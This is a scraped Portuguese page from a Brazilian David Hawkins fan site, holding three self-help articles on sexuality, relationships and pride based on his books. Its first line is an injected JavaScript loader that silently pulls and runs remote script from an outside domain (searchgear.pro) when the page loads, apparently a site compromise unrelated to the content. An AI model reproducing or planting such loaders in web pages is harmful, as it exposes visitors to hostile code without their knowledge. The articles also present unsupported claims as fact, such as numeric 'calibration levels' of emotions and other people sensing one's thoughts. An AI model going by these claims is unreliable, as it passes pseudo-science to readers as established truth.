;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de orgulho - David Hawkins Brasil
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Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Por que o Orgulho pode nos Prejudicar? – com base em Dr. David Hawkins

Vencer o orgulho nos afasta das ilusões das emoções negativas. E abre portas para uma vida íntegra de realizações e satisfações.

É comum sentirmos orgulho de nossas conquistas e querermos expor para todas as pessoas aquilo que conseguimos. 

Contudo, parece que as pessoas não dão tanta importância e muitas acabam tendo inveja. 

E, então, fomentamos ainda mais nosso orgulho interno. 

Afinal, queremos nos proteger de ataques eventuais que acontecem por termos “vencido” em algum aspecto de nossa vida.

O orgulho também nos impede de nos retratarmos ou demonstrarmos nosso sentimento para alguém. 

Orgulho, pode nos afastar de nossos relacionamentos para sustentar uma posição de “eu estou certo” ou “se o outro quer, ele que venha correr atrás”. 

O que esquecemos é que a vida não é um jogo de pega-pega, onde um tem que correr atrás do outro e mostrar quem é o melhor. 

A vida, na verdade, é uma grande escola onde a intenção principal é a troca, aprender e ensinar a cada momento. E, para isso, o orgulho deve ser deixado de lado.

Os aspectos do orgulho

O orgulho é uma emoção sutil que corrói por dentro e transforma razão em julgamentalismos e posicionalidades. 

Também é o conhecimento acumulado sobre determinado aspecto, utilizado para fortalecer a ilusão de estarmos certos e comprovarmos que o outro está errado.

Ainda é uma ramificação de sentimentos de:

  • Arrogância, 
  • Soberba, 
  • Presunção, 
  • Prepotência,
  • Vaidade, 
  • Egocentrismo, 
  • Intolerância, 
  • Desdém, 
  • Inflexibilidade,
  • Preconceito,

Outro aspecto do orgulho é o ceticismo, ou seja, negar uma nova experiência por duvidar das possibilidades de resultado ou de ganho pessoal com aquele meio, forma ou informação. 

O ceticismo protege a intenção egoísta de estar certo, pois nega a possibilidade de aprendizado que, caso tenha sucesso, poderia trazer uma falsa sensação de “eu estava errado”.

“Meu compromisso é ser coerente com a Realidade e não com minhas opiniões anteriores” 

Mahatma Gandhi

O grande problema do orgulho é o aspecto reducionista de dualidade, onde se acredita que para que um esteja certo, o outro deve estar errado. 

Ou, ainda, acredita que aceitar o que o outro diz é “dar o braço a torcer”. 

Essas percepções limitadas trazem separação e desacordo, que é o inverso do princípio universal de harmonia. 

Paz, alegria, amor, felicidade, construtivismo só existem com harmonia e acordo. 

Logo, o orgulho é um obstáculo para a concretização de relacionamentos sólidos.

A origem do orgulho

É muito comum que as pessoas acreditem ser mais racionais do que emocionais, principalmente homens. 

Eles argumentam que emocionalidades são fraquezas. Porém, são repletos de julgamentos, indignações, irritações e ansiedades, que nada mais são do que emoções. 

Isso acontece porque a fonte do orgulho é o medo. O medo de estar errado, o medo de falhar, o medo de errar.

A pessoa tem medo de não ser aquilo que quer mostrar para os outros. Ou quer se autoafirmar dentro por achar que é o melhor caminho.

Assim, se infla em orgulho para se defender dos ataques externos e não deixar os sentimentos internos virem à tona. 

Joga-se a culpa em quem está fora quando algo dá errado e toma-se todos os méritos para si quando algo dá certo.

O orgulho ferido nos joga para outras emoções mais densas, como: 

Pois sua base de segurança está focada em terrenos arenosos, como conquistas externas, ideologias e ideais (eu estou certo). 

Quando um desses aspectos cai por terra, a realidade surge e traz a sensação de grande sofrimento pelo autojulgamento e autorrecriminação (eu estou errado).

Por que, então, não abrimos mão do orgulho?

Sustentamos essa energia de orgulho porque a sociedade costuma endossar esse sentimento.

As pessoas tendem a nos incentivar a ser alguém melhor nos comparando com outros ou, às vezes, até nos colocando para baixo.

Aqueles que possuem mais bens materiais e cargos melhores são tratados com maior respeito, pois demonstram suas conquistas.

Alguns se inspiram, outros invejam, uns idolatram e outros odeiam.

A sociedade tende a não se importar com a essência por trás da aparência e acredita que aquilo que parece, é.

Mas, na prática, sabemos que não é assim.

Vemos vários artistas, atores e celebridades com vidas repletas de excessividades, sem conseguirem ser felizes e não é incomum:

  • Morrerem de overdoses,
  • Passarem por separações matrimoniais ou traições nos relacionamentos,
  • Sofrerem acidentes por imprudência,
  • Atacarem-se constantemente ou tendo que se defenderem de ataques.
  • Ou, às vezes, até mantendo uma felicidade externa constante, mas quando se conhece pessoalmente são pessoas infelizes ou arrogantes por dentro.

“A soberba precede a ruína”

(Provérbios 16:18-19)

Os antídotos do orgulho

Humildade

A humildade, vista pela massa da sociedade como uma fraqueza, é o principal meio de transcender o narcisismo do orgulho.

Humildade se caracteriza:

  • Pela confiança de que você não precisa estar sempre certo e não há nada de errado em estar errado
  • Pela receptividade para aprender quando é necessário e ensinar quando a situação pede.
  • Por estar aberto para ouvir o outro e saber que um ponto de vista não anula o outro, mas complementa.

É um estado subjetivo de não saber que protege do estado inflado orgulho de achar-que-sabe.

Humildade é estar aberto ao novo, é o caráter primordial da inovação.

Todos os grandes gênios tiveram de ser humildes para manterem-se incertos de suas próprias teorias pois, desta forma, poderiam complementá-las e melhorá-las.

Os grandes cientistas, médicos, juízes, inovadores, estadistas e empresários sabem e vivem a humildade de estarem abertos a novas ideias.

Dessa forma, a evolução e a cocriação são geradas. Isso é o que enriquece nossa história e o desenvolvimento da sociedade.

Gratidão

Outro aspecto antídoto para o orgulho é a gratidão.

Após uma conquista ou durante nosso dia a dia, a gratidão nos protege do aspecto de superioridade e de agente causador do sucesso.

Passamos a nos enxergar como uma peça do quebra-cabeças e não o quebra-cabeça.

Agradecer significa “deixar a graça descer”.

Entender que aquilo que temos e fazemos é um reflexo do que somos.

Significa, ainda, que nos foi permitido exercer um governo, uma responsabilidade temporária sobre aqueles bens materiais, funções sociais, cargos ou pessoas. Até mesmo sobre o nosso corpo físico, emocional e mental.

A gratidão enxerga o contexto que permite a sincronicidade para que as coisas acontecessem perfeitamente como tinham que ser.

O orgulho enxerga a causa que traz a ilusão de que conquistamos por nosso mérito exclusivo ou a ilusão de nos sentirmos a cereja do bolo.

Mas temos que lembrar que tanto a cereja quanto o bolo são igualmente importantes.

Que tal substituir o orgulho?

Dessa forma, para termos uma vida cada vez mais pautada em autoconfiança e autoestima, na prática podemos reduzir a supervalorização de atributos como:

  • bens materiais,
  • status,
  • glamour,
  • crenças,
  • ideias,
  • julgamentos e
  • opiniões.

E, ao invés disso, podemos passar a valorizar mais nossos(as):

  • aprendizados,
  • evoluções,
  • receptividade,
  • compreensão,
  • aceitação e
  • harmonia.

Para aprofundar melhor estes conceitos na prática, convido você a experimentar fazer algo novo em sua vida.

Como?

Adotando alguns autodesafios para quebrar pequenos paradigmas.

Mas, esses paradigmas muitas vezes nos limitam de fazermos as coisas de uma perspectiva diferente.

Você pode conferir alguns Autodesafios e escolher um para começar.

Boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual